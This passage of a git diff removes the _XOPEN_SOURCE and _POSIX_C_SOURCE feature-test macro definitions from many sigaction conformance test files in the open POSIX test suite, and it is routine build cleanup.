--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-43.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-43.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-44.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-44.c
index efbb305..2e183de 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-44.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-44.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-45.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-45.c
index efbb305..2e183de 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-45.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-45.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-46.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-46.c
index 2d5b968..7764ffe 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-46.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-46.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-47.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-47.c
index dd0c3d9..1a1399a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-47.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-47.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-48.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-48.c
index 146c7d6..6d14d03 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-48.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-48.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-49.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-49.c
index 52b5c4f..a1b5fbb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-49.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-49.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-5.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-5.c
index 95966f4..03d995c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-5.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-50.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-50.c
index f1eec2e..a680a83 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-50.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-50.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-51.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-51.c
index b094860..2cc102e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-51.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-51.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-52.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-52.c
index 138816c..cedc314 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-52.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-52.c
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-6.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-6.c
index c384560..8dfcda2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-6.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-7.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-7.c
index e67da1d..eec34c0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-7.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-7.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-8.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-8.c
index 73ece6c..1c302f4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-8.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-8.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-9.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-9.c
index b3d30b8..92c65b8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-9.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/12-9.c
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-1.c
index 54a594b..4a2f535 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-1.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-10.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-10.c
index 67fcc7a..6792e14 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-10.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-10.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-11.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-11.c
index 64047ee..766e9a0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-11.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-11.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-12.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-12.c
index 371ed14..017736c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-12.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-12.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-13.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-13.c
index 0db4239..2e156ee 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-13.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-13.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-14.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-14.c
index f28bca8..aaf4a70 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-14.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-14.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-15.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-15.c
index 3251590..12d4aa2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-15.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-15.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-16.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-16.c
index 88f1027..37bc4ff 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-16.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-16.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-17.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-17.c
index 11e04d3..db47120 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-17.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-17.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-18.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-18.c
index 4368bb0..9c643fc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-18.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-18.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-19.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-19.c
index 4368bb0..9c643fc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-19.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-19.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-2.c
index 4368bb0..9c643fc 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-2.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-20.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-20.c
index c7dac51..febc3de 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-20.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-20.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-21.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-21.c
index 58c9013..e7923c0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-21.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-21.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-22.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-22.c
index 73d218c..94220f8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-22.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-22.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-23.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-23.c
index 5327ad7..e7defc8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-23.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-23.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-24.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-24.c
index 88bfdae..148b222 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-24.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-24.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-25.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-25.c
index 81fefc8..7945f8d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-25.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-25.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-26.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-26.c
index 1328351..f596214 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-26.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-26.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-3.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-3.c
index 6a337d9..d10bed8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-3.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-4.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-4.c
index f94bf2c..6ed6076 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-4.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-5.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-5.c
index 7566804..ab8419b 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-5.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-6.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-6.c
index dcd7302..62d92f9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-6.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-7.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-7.c
index 6cdbad0..cb077e2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-7.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-7.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-8.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-8.c
index fff9162..35e9521 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-8.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-8.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-9.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-9.c
index 9f7f0cc..01c15e4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-9.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/13-9.c
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/16-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/16-1.c
index 76eaa0a..74e58d4 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/16-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/16-1.c
@@ -23,11 +23,8 @@
  *
  */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /* This test tests for an XSI feature */
-#define _XOPEN_SOURCE 600
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-1.c
index a8efa04..b9f7e73 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-1.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-10.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-10.c
index ba06ee4..7d402fd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-10.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-10.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-11.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-11.c
index 8ad7492..93e4a90 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-11.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-11.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-12.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-12.c
index cec3f2c..5f95af8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-12.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-12.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-13.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-13.c
index 11b6b50..c2847c9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-13.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-13.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-14.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-14.c
index 0681f56..9687112 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-14.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-14.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-15.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-15.c
index d322e1d..336367f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-15.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-15.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-16.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-16.c
index 3bd3f85..60c502f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-16.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-16.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-17.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-17.c
index 36a0979..40b3b48 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-17.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-17.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-18.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-18.c
index 5105009..9d7a91f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-18.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-18.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-19.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-19.c
index 11f5c83..6b8ca76 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-19.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-19.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-2.c
index 64202ab..5e42ddd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-2.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-20.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-20.c
index 87ed4e0..3b0a6fe 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-20.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-20.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-21.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-21.c
index b72bd65..3db868f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-21.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-21.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-22.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-22.c
index e3e2ac8..659202f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-22.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-22.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-23.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-23.c
index b4c5f5e..f3e0527 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-23.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-23.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-24.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-24.c
index 6f2d00e..02c9d4d 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-24.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/18-24.c
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
